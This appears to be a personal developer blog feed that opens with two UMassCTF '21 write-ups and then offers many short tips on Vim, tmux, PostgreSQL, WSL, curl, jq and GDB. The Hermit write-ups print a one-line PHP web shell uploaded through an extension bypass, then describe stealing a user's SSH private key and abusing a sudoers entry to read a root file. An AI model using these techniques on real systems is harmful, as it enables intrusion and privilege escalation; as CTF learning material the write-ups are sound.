This idea was borrowed from Adrian Cooney and his Taskfile repo.

UMassCTF '21 Hermit 1 WriteUp

Sun, 28 Mar 2021 00:00:00 +0000

Solution

There is only one form that accepts a file.

The validation of the file is based on extension so we can try and upload shell.php.jpg image with content like this:

<?=`$_GET[0]`?>

When image is uploaded we see the page like this:

Click on See image and we see a blank page with some strange PHP errors. It’s because our “image” expects get param called “0” so let’s add one.

104.197.195.221:8086/show.php?filename=VbvJC0&0=ls

and we can see list of directories in the project root.

Now it’s time to search for flag. Let’s check home directory like this:

104.197.195.221:8086/show.php?filename=VbvJC0&0=ls /home

we see there is only one folder hermit

Let’s check that folder:

104.197.195.221:8086/show.php?filename=VbvJC0&0=ls /home/hermit - and there is flag folder now.

104.197.195.221:8086/show.php?filename=VbvJC0&0=ls /home/hermit/flag - shows us userflag.txt

104.197.195.221:8086/show.php?filename=VbvJC0&0=cat /home/hermit/flag/userflag.txt - shows us the flag

UMassCTF '21 Hermit 2 WriteUp

Sun, 28 Mar 2021 00:00:00 +0000

Solution

The image above is what we see when visiting the challenge URL (104.197.195.221:8087)

That’s strange. Initially I thought the site is down but it’s fine.

Let’s try to connect with NetCat and see what the server tell us and why browser can’t display it.

nc -vvv 104.197.195.221 8087

and response we get back is:

221.195.197.104.bc.googleusercontent.com [104.197.195.221] 8087 (?) open
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2

Doesn’t look like valid HTTP resopnse lol. Ok now we know that SSH server is running on that port so let’s try to connect.

ssh 104.197.195.221 -p 8087 - and we see the prompt to enter a password for myself (krydos). It isn’t clear what user should I use. And even if we know the user what is the password?

As a hint the challenge name is hermit so the user is probably has the same name but we still need to know password.

Poking around, trying different things I noticed that hermit 2 challenge is on the same IP address where hermit 1 is.

That’s actually great because we have shell access on the server from the previous challenge.

So I went to /home/hermit/.ssh folder, copied user’s private key and used it in my ssh command like this:

ssh -i /tmp/hermit.ssh.private.key hermit@104.197.195.221 -p 8087

We’re in. Now… where is the flag? We know one flag from the previous challenge but I wasn’t able to find another one.

Grep’ing everything didn’t help. My assumption was that the flag is somewhere in /root folder or somewhere else where hermit user doesn’t have access to.

Now… how can I become a root? Tried some stuff but didn’t find anything useful.

Then I grepped for flag in /etc folder and I found

hermit ALL = (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t in /etc/sudoers file.

This record means that we can execute that command without asking for password.

Let’s do it:

sudo /bin/gzip -f /root/rootflag.txt -t and we see the flag - UMASS{a_test_of_integrity}

Hooray

Vim Fugitive. :Glog - show a commit author

Sat, 06 Feb 2021 00:00:00 +0000

TL;DR

let g:fugitive_summary_format = "%<(16,trunc)%an || %s"

The path of figuring that line out

Vim-Fugitive is a great package. Recently I started to use :Glog command a lot to look at range of changes added to a branch after git pull.

:Glog <hash>..<another hash>

By default the command only shows a commit hash and its subject.

I really wanted to see how can I show a commit author name as well.

:h fugitive didn’t help much.

Inspecting the fugitive’s source code I came across not documented g:fugitive_summary_format variable. Initially it wasn’t clear how to use it what values I can assign to it but then I noticed that it is assigned with values like %s or %h %P\t%H.

These things looks familiar. man git-log - the place those control symbols can be found at. Searching by “author” gives us %an that we can use.

Let’s do let g:fugitive_summary_format = "%an" and see how does it look.

Nice… no commit message. By searching in man git-log I found %s which is a subject (first top line) part of a commit message.

Let’s do let g:fugitive_summary_format = "%an\t%s" (separate name and subject with a tab symbol)

Better but subject is not vertically aligned so let’s keep reading man git-log.

There is a subject Placeholders that affect formatting of later placeholders where you can find this scary expression - %<(<N>[,trunc|ltrunc|mtrunc])
The definition of this scary thing is - make the next placeholder take at least N columns, padding spaces on the right if necessary.

Exactly what we need. Let’s try to use it:

let g:fugitive_summary_format = "%<(16,trunc)%an || %s" - here I assume 16 chars in user name is enough for me to recognize an author. Adding || too as a separator between author and subject.

Much better!

PHP: visual charset detection of a string

Wed, 25 Nov 2020 00:00:00 +0000

Sometimes in mb_convert_encoding($str, 'UTF-8', 'auto') that latest auto argument won’t work.

To find what charset the string is using you can get all possible charsets, convert your $str into that charset and print it:

foreach(mb_list_encodings() as $charset) {
 echo mb_convert_encoding($str, 'UTF-8', $charset) . ' ----- ' . $chr . "\n"; 2 }
}

This code may not work for some charsets returned by mb_list_encodings(). You can ignore some of them like this:

foreach(mb_list_encodings() as $charset) {
 if (in_array($chr, ['pass', 'wchar', 'byte2be', 'byte2le', 'byte4be', 'byte4le', 'BASE64', 'UUENCODE', 'HTML-ENTITIES', 'Quoted-Printable', '7bit', '8bit'])) {
 continue;
 }
 echo mb_convert_encoding($str, 'UTF-8', $charset) . ' ----- ' . $chr . "\n"; 2 }
}

Of course it’s only applicable if you know that $str will always be in the charset you found.

My Windows development environment setup

Mon, 23 Nov 2020 00:00:00 +0000

The title is a little bit misleading though. I have almost nothing dev related on my Windows machine and use Linux VM instead.

Here is the components my dev environment consists of:

VMware Workstation (VirtualBox would work too)
Windows Terminal
Vim (NeoVim to be precise)
Tmux and Tmuxinator

VMware Workstation

The actual product doesn’t matter here. As I mentioned earlier VirtualBox would work as well. I use VMware because I used to it and I blindly believe in rumors that it is faster than VirtualBox.

Along with some virtual machines I installed out of curiosity there is my main virtual machine configured. I call it Workstation and I store there everything work/personal projects/this blog related.

The workstation is driven by Ubuntu Server with no Xorg installed. Whenever I need to run graphical Linux app I use VcXsrv.

One more thing worth to mention is that network in the workstation is configured with NAT so I always know IP address of the VM regardless the network my laptop is connected to. Even if my laptop has no internet connection I still can connect to my VM with no issues and can keep working.

The VM is always in such state because I connect to it with SSH so I keep it in a separate virtual screen and if I need to suspend or wake it up I just do a “four finger swipe” to switch to the screen with only VMware running.

Why not WSL1/2

I love WSL. I also like how WSL team switched to VM approach for their WSL2. WSL just doesn’t fit my workflow. I like to fire up the VM, work and suspend it so I can wake it up again when needed in a second and continue from exactly that state I stopped in.

To stop WSL I literally need to stop all the main process like Nginx, Postgres, Tmux. Tmux main purpose is to be never stopped.

I don’t want to keep WSL’s VM running all the time.

So, even though I like the idea of WSL I can’t use it.

Windows Terminal

The reason I use it is I haven’t found anything better. It’s pretty lightweight, quick and configurable.

It has some issues with default configuration (CTRL+C copies text instead of process termination), Alt+Backspace doesn’t remove a word (at least by default) and some other small issues that can be fixed.

UI is super configurable too. I was able to remove tabs and scrollbar to make UI clean.

Vim/NeoVim

I tried lots of editors and I constantly switch from one to another but Vim is definitely the one I spent most of the time in directly or implicitly (evil-mode in Emacs, VsCodeVim, Vintage in Sublime, IdeaVim in IDEs from JetBrains).

I’m very much used to it and to its keybindings.

You can find my vimrc HERE

It also plays nicely with Tmux.

Tmux

A window manager for my terminal.

I run one session per project
Most of my sessions have 3 windows
- bg - first window is for background jobs like npm watch, artisan serve, rails server
- vim - I code here
- cmd - a window I use to run some git commands or read logs or install missing libraries.
I use panes occasionally when I need to start two background jobs for example.

I use Tmuxinator for every project I have. In case I had to restart my VM I can execute tmuxinator project-name and I automatically get a new session with 3 windows created and Vim window focused with all background jobs required by the project running.

So why do I need Windows at all if all my coding stuff are in Linux.

Shortly - I like how Windows work.

I like how any device connected to my laptop is recognized and don’t require additional attention and configuration.
I got much more Kernel Panics and frozen X servers in Linux than I got BSODs in Windows.
I need Excel sometimes (LibreOffice is far behind).

Laravel: get all routes and corresponding controllers/actions

Tue, 19 Nov 2019 00:00:00 +0000

If you want to know the handler of a particular route you need to run this in your terminal:

php artisan route:list | grep 'route.name'

Replace route.name with your route name.

In most cases all routes are defined in files from routes/* folder but some routes are defined in Laravel itself or some libraries may define its own routes as well. So in case you want to override some actions from internal controllers just use that command above to understand what exactly you need to override.

Run multiple PostgreSQL instances on one machine

Sat, 26 Oct 2019 00:00:00 +0000

I’m on Ubuntu 18.04 having PostgreSQL 10.10 installed. For testing I had to run PostgreSQL 9.5 along with 10.10.

Installation

If you don’t know how to install version 9 on Ubuntu 18.04 check this doc on postgres site.

To install version 9.5 just run:

sudo apt install postgresql-9.5

That’s it. You should not face any other issues.

Usage

I’ve been always starting postgres instance with sudo service postgresql start but now, when we have two different version we should use:

sudo systemctl start postgresql@9.5-main

The 9.5-main at the end is the cluster name. Cluster is something we always have per database version. You can find all the clusters you have on your machine with:

pg_lsclusters

The output looks like this:

Ver Cluster Port Status Owner Data directory Log file
9.5 main 5432 online postgres /var/lib/postgresql/9.5/main /var/log/postgresql/postgresql-9.5-main.log
10 main 5432 down postgres /var/lib/postgresql/10/main /var/log/postgresql/postgresql-10-main.log

You can see that right now I have 9.5 running and 10 down.

To run version 10 again just stop the 9.5 instance and run sudo systemctl start postgresql@10-main

If you want to run both instances simultaneously then you have to edit postgresql.conf of your version (every version’s config file is in its own directory under /etc/postgresql) and set another port to listen in one of your versions.

Vim save file without AutoCmd

Thu, 08 Aug 2019 00:00:00 +0000

Vim’s autocmd is very powerful feature.

In my workflow I have many of them including autocmd for BufWrite.

There are rare cases when I want to save file and ignore any autocmd.

To do this you can just save it by:

:noa w

Of course there can be any command after :noa.

Check :h noa for more details.

Open Tmux on ssh login

Mon, 24 Jun 2019 00:00:00 +0000

Here is few lines you need to add to your .bashrc/.zshrc/.whatevershellrc:

if [[ -z "$TMUX" ]] && [ "$SSH_CONNECTION" != "" ]; then
 tmux attach-session -t mysession || tmux new-session -s mysession
fi

These lines check if tmux session mysession is exist then we tmux attach-session is executed. Otherwise new session with mysession name is created.

Replace mysession to something more meaningful.

How to interview [memo]

Wed, 12 Jun 2019 00:00:00 +0000

Just met this nice article by Laurie Voss called You suck at technical interviews.

Here is TL;DR from there:

many interview techniques test skills that are at best irrelevant to real working life
you want somebody who knows enough to do the job right now
or somebody smart and motivated enough that they can learn the job quickly
you want somebody who keeps getting better at what they do
your interview should be a collaborative conversation, not a combative interrogation
you also want somebody who you will enjoy working with
it’s important to separate “enjoy working with” from “enjoy hanging out with”
don’t hire assholes, no matter how good they are
if your team isn’t diverse, your team is worse than it needed to be
accept that hiring takes a really long time and is really, really hard

Here is the link to original post

Good read.

Youtube Hide opinion for Google Chrome

Sun, 26 May 2019 00:00:00 +0000

Today I decided to port my Firefox extension to Google Chrome.

Meet Youtube Hide Opinion For Chrome.

Turned out, I should change nothing in the extension to make it working in Google Chrome (thanks to Browser Extensions specification)

Now to kill the good feeling I have to say that to publish the extension to WebStore I had to make $5 one-time payment. Pretty symbolic payment but still feels foreign while publishing open source code.

Youtube Hide opinion

Sun, 19 May 2019 00:00:00 +0000

Watching videos on Youtube I’ve noticed I influenced a lot by paying attention to a video rating. For example if rating is negative I initially treat a video as unprofessional or even stupid.

I tried to ignore a video rating but it’s pretty hard so I decided to build a browser extension that should hide the rating.

So meet Youtube hide Opinion the Firefox extension.

As you can see you still can up/down vote a video but you don’t see it’s rating.

The extension also supports Enhancer for YouTube.

P.S. Some time ago I also published this extension to Google’s WebStore

git grep --untracked

Wed, 03 Apr 2019 00:00:00 +0000

Turned out I use git grep a lot with my VIM (using EasyGrep plugin). At some point this plugin just stopped to show me all the available results.

Due to lack of explicit git grep usage it was pretty mysterious.

The reason is that git grep doesn’t search in untracked files. If you want to search in untracked files too just add --untracked option to the command like this:

git grep --untracked SomethingILookingFor *

Official git grep doc

MacOS fix not stable WiFi (ping spikes)

Thu, 31 Jan 2019 00:00:00 +0000

hey,

I currently use Windows machine but I do programming inside Linux virtual machine and inside MacOS driven laptop (some iOS specific stuff) which is in the same room where I am and connected to the local network.

Since I develop in Vim I use SSH connection to run Vim instance directly on MacOS machine. If I need anything graphical (like Xcode) I use VNC client.

Issue

SSH connection is super non-stable. It’s pretty painful to use Vim with very slow connection. If I try to ping my MacOS laptop I can see clearly some ping spikes. Usual ICMP travel time is about 3ms but sometimes I get 700ms or 1000ms. Insane.

Solution

Based on this found it is probably related to WiFi card power saving features.

To prevent it you can use this command (inside MacOS machine)

ping -q -n -s 0 -i 0.1 192.168.0.1 # you can ping any (real) address basically

What this ping command does is just keeping your WiFi card busy all the time.

Please note, you have to keep this command running all the time. You can probably create some kind of background script but I just use alias which I run when I’m connected to my Mac. Otherwise I don’t want to overload my home network.

VNC, MacOS, and frozen login screen

Fri, 18 Jan 2019 00:00:00 +0000

Sometimes my VNC client just shows me Mac’s login screen with infinitely loading animation. If it happens for you too, you can try to login via SSH and run this command:

sudo pkill loginwindow

Now you can try to connect trough VNC and it should work.

Basically it just kills the process of login window and MacOS just runs it again automatically.

Reminders with WSL

Mon, 14 Jan 2019 00:00:00 +0000

Hi everyone,

I was looking for an app that should allow me to set a quick reminder without any additional functionality.

The one was found, it is at binary which is available by default on most (if not all) Linux distributions (checkout man at). Shortly, the at command allows you to specify a command and time you want to run that command at.

My current setup

What I want, is to get a notification at some special time. For notifications we can use notify-send, but since I’m currently on Windows and use WSL, we will use my wsl-notify script (checkout for notify-send replacement for WSL post)

Complete remind script

I’ve added a function to my zshrc and called it remind.

Here is its code:

remind() {
 echo "/path/to/wsl-notify \"$1\"" | at "$2"
}

The usage is next:

$ remind 'call mom' '1:00pm'

And at 1:00pm I will get the native windows notification which I can even snooze. Brilliant.

notify-send replacement for WSL

Sun, 13 Jan 2019 00:00:00 +0000

Hi,

Unfortunately there is no way currently to make brilliant notify-send work on WSL.

Solution

The workaround is to install BurntToast which is powershell module (or command) that allows you to show native notifications. After it’s installed we can write a script that can execute PowerShell “cmdlet” from within WSL.

Details

So when BurntToast is installed let’s create a super simple bash script (name it like wsl-notify)

#!/usr/bin/env -bash

powershell.exe "New-BurntToastNotification -Text \"$1\""

Give our wsl-notify execution rights (with chmod +x wsl-notify) and move it to /usr/bin folder with mv wsl-notify /usr/bin/

That’s it, now we can call wsl-notify 'The Notification Text' and we will get native notification in Windows. Make sure to wrap all the text into single or double quotes to make all the text to be considered as a first argument to our wsl-notify script.

Troubleshooting

When BurntToast is installed you have to make sure it works, just fire up your PowerShell and type New-BurntToastNotification.

If you see error saying something about import module, then you have to import the module. Just type Import-Module BurntToast.

In case you’ve got error during the import process, it’s probably because third-party scripts execution is not allowed on your system which can be fix with this command:

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser - (checkout more about it here)

React Native. Turn off warnings

Fri, 21 Dec 2018 00:00:00 +0000

Sometimes it’s annoying to get those warnings while you work on the layout stuff.

Based on RN documentation you can turn them off by setting:

console.disableYellowBox = true;

You can put it inside your App.js file. I don’t suggest you to commit this but as temporary string is definitely acceptable.

Vim, format JSON file

Wed, 19 Dec 2018 00:00:00 +0000

I have to note it, it’s just brilliant!

If you want to format a JSON file opened in Vim then just run

: %!python -m json.tool

Stolen from this awesome post - Format JSON in Vim using Python’s json.tool module

Tmux. Change default start directory

Fri, 14 Dec 2018 00:00:00 +0000

Hi,

if you use tmux you could notice that every time you create new window it starts in the directory where you initiated your Tmux session.

Usually I start my Tmux at home directory but when I work for a project I like to have all my windows to be opened in this particular project.

Sure I can close the session and start the new one from the project directory but… no.

The way you can do it from withing Tmux is press your <prefix>+: to open the command mode.

Now enter attach -c <your-default-start-directory>. That’s all.

It works outside of Tmux as well. You can run it this way tmux attach-session -t <you session> -c <your-default-start-directory>.

Vim folding

Sun, 09 Dec 2018 00:00:00 +0000

Hi, I didn’t use folding functionality previously at all in any other editors, but after I watched this awesome video by Greg Hurrell I found this Vim feature super useful.

So to start getting all benefits from Vim folding just add this to your .vimrc:

set foldmethod=indent
set foldlevelstart=1

What these lines do is:

set foldmethod - setting the folding method. indent is actually works mostly for all programming languages. There are other options though (see :h fold-methods)
set foldlevelstart=1 - this is magic line. It kind of force you to use foldings. Using this line your files will be folded by default and you have to unfold functions/methods you want to look at. Value 1 in this case means “fold everything and then unfold it back by one level”.

So in case you have class defined then this class will be unfolded and fully visible but all methods inside will be folded.

Here is the example:

Please not, in this case I use `set foldlevelstart=2` because class is wrapped in module.

Here is keybindings to fold/unfold your code:

zo - open folded part
zO - open folded part with all sub-foldings
zc - fold the code
zM - fold everything
zR - unfold everything
zm - change fold level (fold everything by one step)
zr - unfold everything (unfold by one step)

Folding mechanism is great in Vim, and actually in every other editors, but I never used it mostly because I’m too lazy to fold the code. Since Vim does it for me (set foldlevelstart=1) I always have something folded and it’s easy to always remember and use this feature.

Try it!

Vim, dumb-jump

Sun, 02 Dec 2018 00:00:00 +0000

hi everyone,

I’m currently using Vim in my day to day work, and if you don’t know I migrated from another perfect editor called Emacs.

It was pretty easy to migrate since I used evil-mode in Emacs but the only library/plugin I miss is dumb-jump which is brilliant because allows you to jump to definition without any CTAGS/GTAGS.

There is brilliant guy Chris Paul who made dim-jump plugin which does the same as dumb-jump.

Moreover the plugin is using dumb-jump rules and download them at the first usage of the plugin.

Just add

Plug "bounceme/dim-jump"

to your .vimrc/init.vim and have fun.

The plugin currently just jumps to the first most relevant definition found which is not always correct for me.

In case you need a fixed version which shows you all possible founds add my fork to you .vimrc/init.vim file:

Plug 'KryDos/dim-jump', { 'branch': 'krydos-adaptation' }

I’ll update this post as soon as my changes will be accepted by Chris, otherwise choose between these two versions of plugin depending on your needs.

Vim, project specific settings

Tue, 20 Nov 2018 00:00:00 +0000

Hey, I’ve just been looking for a good plugin that can help me to configure some VIM variables per project.

For example I want set shiftwidth=2 for my JavaScript project and set shiftwidth=4 for PHP one.

Turned out no plugin needed.

Just put this to your .vimrc:

silent! so .vimlocal

Now if you put .vimlocal file to your project root, it will be sourced and “executed”.

silent! is using to supress warnings when there is no .vimlocal file in a directory.

Ebay API and Platform Notifications

Fri, 02 Nov 2018 00:00:00 +0000

If your web site isn’t receiving the notifications from Ebay even though you have everything configured AND you’re using oAuth tokens for SetNotificationsPreferences request then you have nothing to do except contact the Ebay support.

Currently they have a special whitelist where they have to add your APP ID and the only way to add your app to that whitelist is to contact them. You can actually try to post a thread on their forum, but in this case you have to wait while someone form ebay staff will notice it.

Unfortunately the Support costs money and the price is $75/hour. Good news is they are not billing you for the request to whitelist your app so you can spend that hour for something else.

vim-easygrep

Fri, 31 Aug 2018 00:00:00 +0000

I’m currently trying to use Vim instead of Emacs and one of important workflow I’ve used to is grepping things in a project.

There are few options:

use :vimgrep something **/*. It’s pretty long to type so I don’t really like it.
bind that vimgrep command to a key sequence. Which is better but still not ideal.
EasyGrep. The tool I chose.

My config looks like this:

let g:EasyGrepCommand="grep"
let g:EasyGrepRoot="repository"
let g:EasyGrepRecursive = 1
let g:EasyGrepFilesToExclude = "vendor,docker,node_modules"

By default EasyGrep use vimgrep which is not able to ignore folders as far as I got.

So setting grep as EasyGrepCommand makes EasyGrepFilesToExclude being considered.

Setting EasyGrepRoot to repository turns EasyGrep to “search from project root” mode.

Now I can just place my cursor to a word I want to search for, press <Leader>vv and that’s it.

Works like a charm.

Frontend Developer interview. Help for interviewers (1)

Mon, 16 Jul 2018 00:00:00 +0000

The problem

I’m not a huge fan of questions on interviews similar to:

do you know X
did you use Y
what is the difference between X and Y
etc…

Live coding is not something I like as well due to some reasons.

What really helps me to understand how good candidate is, is to discuss some real situations with him/her.

Below is one hypothetical projects to discuss with a candidate.

Also check out the Part 2 of this post

The project

Given a Single Page Application (SPA). The main purpose of the app is to store movies a user added for himself. Some kind of bookmarks.

Features are:

add new movie
- add title
- add description
show list of movies a user have added (only his/her movies)
API has all required routes to store/fetch movies of a user

The problem is our users have no stable internet connection for some reason.

The question how we can allow users to save movies even if the internet connection is lost?

Possible flow:

Candidate usually starts with the idea to use Local Storage for storing all the data while internet is off. Which is definitely make sense. Here you can ask how he/she is going to integrate it:
- Should it be separated module/class? (definitely yes)
- Should developer use that module/class when internet is off and use calls to a server when internet is on? (the answer can be very varied, but it should be some kind of general class that internally detects internet activity so the user of module (developer) should not think about current state of internet connection and use different modules/classes for saving/fetching movies)
- Probably there should be some kind of queue to make sure movies are sent to remote API in the same order they were added.
When (if) you have discussed with a candidate all that above’s points and he/she did great you can complicate the task a bit and say “Now we want to extend our add new movie page with an image of movie”.
- Here you should pay attention to the way a candidate thinks. He/She probably should come up with the idea that using Local Storage will not be enough if we’re going to store images. Remember that we cannot use links since we’re possibly offline.
- Basically there are not too many possible options. IndexedDB is something we can try to use in this case.

Don’t hesitate to ask other questions you’re interesting in. It’s also OK if candidate don’t know the answer, sometimes we don’t have answers too. We usually google in this case, but a candidate can’t so it’s completely OK to give some help to him or her.

If you’d like to get more understanding on what knowledge the frontend candidate should have please refer to How to Hire a Front-end Developer by TopTal.

Take a look at another project you can discuss with an applicant here.

Frontend Developer interview. Help for interviewers (2)

Mon, 16 Jul 2018 00:00:00 +0000

If you didn’t look at Part 1 of this post please check it out.

Project 2

Given a news site and its admin area. In admin area there are many users. Each user can edit a news-post.

Our goal is to make sure only one user can edit a post even if multiple users are visited the same news-post for editing. Users visited a news-post after the first user should see the “someone else is editing the post” message.

More info about the project:

It’s not a single page application
Backend part of the code already able to lock/unlock the post internally (we just need to call the function).
Backend developer can implement endpoints/services a candidate ask.

Possible flow:

Candidate usually come up with the idea to use Web Sockets. If so, you can ask candidate about how it should work.
- What message(s) should be send by web socket client to a server?
- What answer should be send by web socket server so client can know that post is blocked?
- How to make sure two users will not block the post?
- When user leaves a post who should be the next “owner” of a post if multiple other users are on a post page?
When you have discussed all that possible implementations for web socket you can tell candidate that “unfortunately we don’t have ability to setup web socket server on our production and have to come up with something else”.
Something else is long polling technique which is basically periodic Ajax requests to a server.
- Frontend can have two Ajax requests sending by interval (one is to lock, another one is to check if locked)
- Backend should receive the “lock” and lock the post TEMPORARY.
- If no another “lock” request received by the same user we should unlock the post (temp record should be removed)
- Lock the post when there is no “lock” on the post and mark that post is locked by a user.

I hope this project and the project from Part 1 will help you to understand more about your candidate.

VMWare run/stop VM from command line

Sat, 09 Jun 2018 00:00:00 +0000

Hi everyone,

so here are two basic commands you can wrap in functions or anything else to run/stop VM of VMWare Workstation.

Important note, all commands are for Windows. They should work for other systems I guess with minimal or no changes.

To start a VM use this command

vmrun -T ws start "C:\vms\workstation.vmx" nogui

nogui option in this case forces the vmrun NOT to open the GUI window. workstation.vmx is a file, usually is the same as your VM name.

To stop a VM

There is nothing special. Just stop instead of start.

vmrun -T ws stop "C:\vms\workstation.vmx"

You can check out the output of vmrun command to see a bit more options to manage VMs.

Also take a look at my other, posts related to pretty the same subject but for VirtualBox.

Fix Windows 10 search

Sat, 02 Jun 2018 00:00:00 +0000

The issue

The Windows 10 search is not working. No results. Infinite loading.

Solution

Reinstall Cortana (even if you don’t use it at all)

open powershell (with win+r and type powershell)
paste this:

Get-AppXPackage -Name Microsoft.Windows.Cortana | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register "$($_.InstallLocation)\AppXManifest.xml"}

It should take couple of seconds.

There are other solutions related to folders permission and registry keys but non of them did help.

Makefile helper for Laradock

Sat, 12 May 2018 00:00:00 +0000

Hey,

The project link

https://github.com/KryDos/laradock-helper is the project repo.

What is this?

Since recently I work mostly with Laravel and run it with Laradock I’ve came up with some Makefile targets I use constantly instead of running some commands manually.

Like an example are migration or seed commands, or commands to join php container I can call just make run-migrations or make join-php which is faster.

Hope it can be useful for someone else too.

Todoist for Linux

Sun, 22 Apr 2018 00:00:00 +0000

Hey everyone.

Links first

Here is the Github page of the project. You can download releases from there as well.

Global keybindings

CTRL+ALT+a - quick add a task
CTRL+ALT+t - show or hide the app window

These are the only keybindings I need. If you need anything else let me know.

Motivation

I thought it should be good idea to have Todoist opened as an application instead of tab in a browser.

Todoist supports a lot of different platforms but not Linux. So I’ve made Electron wrapper for Todoist’s web version.

The main reason why I couldn’t use it as a web version is lack of global keybindings.

Let me know about bugs or features you want to see in the project.

JSON to CSV with BASH

Tue, 10 Apr 2018 00:00:00 +0000

Hey, recently I’ve posted about jq and today I’m going to explain how I used it to parse JSON from web (retrieved with CURL) and turn it to CSV.

First of all let’s see what JSON we have:

{
 "data": [
 {
 "short_data": {
 "name": "value1",
 "link": "value2"
 },
 "long_data": {
 "company_name" "value3",
 "company_position" "value4"
 }
 },
 {/*...*/},
 {/*...*/},
 {/*...*/}
 ]
}

Ok, the CSV we want to get is:

name,link,company_name,company_position
value1,value2,value3,value4
value1,value2,value3,value4
...

And here is how simple it is:

jq -r '.data | map(.short_data.name), map(.short_data.link), map(.long_data.company_name), map(.long_data.company_position) | @csv' <<< $OUTPUT

$OUTPUT - is variable containing the JSON string (retrieved with CURL in my case)

As you can see jq has it’s own pipe and we can fetch values from json “path” and pass it to @csv handler.

Looks great but the result is a bit different from what we were expected:

value1,value1,value1,value1
value2,value2,value2,value2
value3,value3,value3,value3
value4,value4,value4,value4
...

What do we need is transpose the output. csvtool is great package that allow us to do it. We can pipe our csv to <csv> | csvtool transpose - and get result we need.

And final command:

jq -r '.data | map(.short_data.name), map(.short_data.link), map(.long_data.company_name), map(.long_data.company_position) | @csv' <<< $OUTPUT | csvtool transpose -

leads to result:

value1,value2,value3,value4
value1,value2,value3,value4
...

exactly what we need.

Custom icon for terminal application in gnome-shell

Sun, 25 Mar 2018 00:00:00 +0000

Hey,

The problem

Recently I wanted to create separated “window” for my weechat so I can easily alt-tab to it.

I’ve wrote the .desktop file and place it to ~/.local/share/applications so gnome-shell (I’m on ubuntu 17.10) will show me it.

And it did, BUT when I start the weechat the icon turned to “terminal-like”.

Hm…

play with terminal icon

Ok, there is terminals like xfce4-terminal that allows to set custom icon when terminal is starting… so let’s try

xfce4-terminal -I /the/icon/i/need -e /usr/bin/weechat

…aaaand nothing!

There are other temrinals allows us to set custom icon but non of them was working.

The reason

It turned out the gnome-shell overrides everything it thinks is a terminal with the icon from theme currently used.

Solution

Discarding some guesses I decided that gnome-shell determines that app belongs to “terminal family” based on WM_CLASS window property (you can see them using xprop). Thanks god (or gnome developers) the gnome-terminal has --class option that overrides the WM_CLASS property. After that my .desktop file just works.

Here is an example:

[Desktop Entry]
Version=1.9.1
Name=Weechat
Comment=Weechat the IRC client
Exec=gnome-terminal --role=weechat --class=weechat -- /usr/bin/weechat
Icon=/usr/share/icons/hicolor/32x32/apps/weechat.png
Terminal=False
Type=Application
Categories=Chat;Development;

See Exec value with --role and --class options.

CURL get formatted JSON

Fri, 23 Mar 2018 00:00:00 +0000

Hey,

Sometimes I check HTTP responses with CURL so it would be great to format JSON responses.

There is cool command line JSON parser and you can pipe CURL output to it like that:

curl http://some.endpoint/with-json-response | jq '.'

I’ve wrote useful function called jcurl that is basically wrapper on that command above:

function jcurl() {
 curl "$@" | jq '.'
}

P.S. Don’t forget to source your (bash|zsh|any)rc.

Disable CURL's globbing parser

Fri, 23 Mar 2018 00:00:00 +0000

Hey. Recently I’ve tried to CURL something like this:

curl 'http://localhost?q[param]=value'

and I got [globbing] bad range in column error from CURL. This one is unexpected since I was thinking that using single quotes do not require any escaping. To find a workaround you can check man curl and seek for globbing.

So the solution is -g option:

curl -g 'http://localhost?q[param]=value'

P.S.

Sure you can manually escape square brackets but if your url is pretty long it can take some time.

Restart audio subsystem on Ubuntu

Tue, 20 Mar 2018 00:00:00 +0000

I’m on Ubuntu 17.10 right now and sometimes after suspend I’m getting no sound and only dummy device available.

pulseaudio -k && sudo alsa force-reload - execute this to fix the issue.

AwesomeWM change key repeat frequency

Sun, 11 Mar 2018 00:00:00 +0000

Hi,

Switching from Gnome3 to AwesomeWM I’ve noticed that key repeat frequency is lower on AwesomeWM.

To fix this you can use xset tool (check man xset). The tool allows you to set various options for x server. Key repeat frequency is one of those.

Just execute this in your terminal xset r rate 220 25 and you will immediately see the effect. Find the best parameters for you and then add this line to your rc.lua (if you don’t know where to add it just add it to the bottom):

os.execute("xset r rate 220 25")

Restore terminal printing

Sat, 10 Mar 2018 00:00:00 +0000

Hey,

sometimes I accidentaly print binary file with cat <thefile.bin> and my terminal is getting broken after that due to printing of some escape characters.

To fix it you can use reset command. Checkout the man reset to get more info about this command.

Docker detach keys

Thu, 01 Mar 2018 00:00:00 +0000

If you like me and use CTRL-P/CTRL-N instead of arrow keys to navigate through command history, you should be disappointed on how CTRL-P works in docker terminal (the one you see after docker run, docker exec).

It turned out CTRL-P is used for what they call detaching from terminal, which I didn’t know about even.

So basically when you press CTRL-P the terminal is waiting for another key press (CTRL-Q in current case). That’s why CTRL-P works in strange way.

The issue was solved couple of years ago.

What you need to do is create .docker folder in your home directory (mkdir ~/.docker) and create config.json file there with this content:

{
 "detachKeys": "ctrl-@"
}

You can use other keys of course but CTRL-P should work as usual right now.

GDB oneliners

Sat, 24 Feb 2018 00:00:00 +0000

Recently I wanted to print disassembled main funciton of the program to the file so I can read it in my Emacs, but it turned out I can’t simply redirect the GDB output to the file with disassemble main > main.asm command in gdb command line.

But there is -ex option exists in gdb command so we can execute some gdb commands right after gdb is initialized.

Looks like this:

gdb <file> -ex 'disassemble main' -ex 'quit' > main.asm

As you can see we can chain multiple commands. It's important to have `quit` as the last one to make sure we exit GDB.

GDB PEDA config

Sat, 24 Feb 2018 00:00:00 +0000

Hey everyone.

I already have a post about GDB Dashboard package which is cool but I’ve just found somethine even better.

Meet PEDA. It looks really awesome. I wasn’t able to try all the commands it provides but the interface looks pretty awesome.

It shows stask in realtime which Dashboard package lack. Not just showing addresses but also strings if any of them are on the address.

Now my GDB looks like debuggers I have used to before like OllyDbg.

If you use GDB a lot especially for software exploring you have to try the PEDA package.

Here is screenshot from their repo.

GDB print string from memory

Sat, 24 Feb 2018 00:00:00 +0000

Hey, just found a command for gdb that prints a string from memory address.

Looks like this x /s <addr>. Very useful if you need to print out the string that is in memory somewhere.

Previously I’ve used other flags to print for example hex values but was pretty hard to read. Glad there is special solution in GDB for this.

Circle image with CSS

Tue, 20 Feb 2018 00:00:00 +0000

Here is post about how to make circled image with css. I have to note it since I can’t remember how css works in general and can’t force myself to learn it.

Here is the result:

I was trying to use just border-radius but it’s not super great since it doesn’t allow us to center the content of image.

Solution is class similar to this one:

.img-circular {
 width: 50px;
 height: 50px;
 background-size: cover;
 display: inline-block;
 border-radius: 50px;
 background-position: center;
}

